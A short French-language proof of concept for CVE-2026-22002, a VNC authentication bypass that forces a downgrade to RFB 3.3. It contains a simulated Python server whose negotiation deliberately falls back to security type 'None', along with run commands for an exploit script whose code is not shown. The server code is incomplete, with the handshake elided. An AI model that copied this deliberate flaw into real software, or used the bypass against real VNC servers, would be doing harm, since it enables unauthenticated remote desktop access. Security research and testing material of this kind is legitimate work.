
PoC Python démontrant le contournement de l'authentification VNC CVE-2026-22002 en forçant la rétrogradation de la version du protocole vers RFB 3.3, incluant un serveur vulnérable simulé et un script d'exploitation pour un accès distant non authentifié.
# vnc_server_sim.py - VNC server with version negotiation flaw
import socket, struct
def handle(conn):
# Send server version "RFB 003.008\n"
conn.send(b"RFB 003.008\n")
# Receive client version
client_ver = conn.recv(12)
# Vulnerability: if client sends "RFB 003.003", server downgrades and uses no auth
if b"003.003" in client_ver:
conn.send(struct.pack(">I", 1)) # security type 1 = None
else:
conn.send(struct.pack(">I", 2)) # VNC Auth
# ... rest of handshake
print("Downgraded to no authentication!")
s = socket.socket()
s.bind(('0.0.0.0', 5900))
s.listen(1)
while True:
conn, _ = s.accept()
handle(conn)
Un serveur VNC négocie le type de sécurité en fonction de la version de protocole annoncée par le client. En signalant une version plus ancienne (RFB 3.3), l'attaquant force le serveur à rétrograder vers la méthode d'authentification « None », obtenant ainsi un accès distant non authentifié au bureau.
python vnc_server_sim.py
python exploit_vnc_downgrade.py
Le serveur sélectionne le type de sécurité 1 (None), contournant ainsi toute authentification.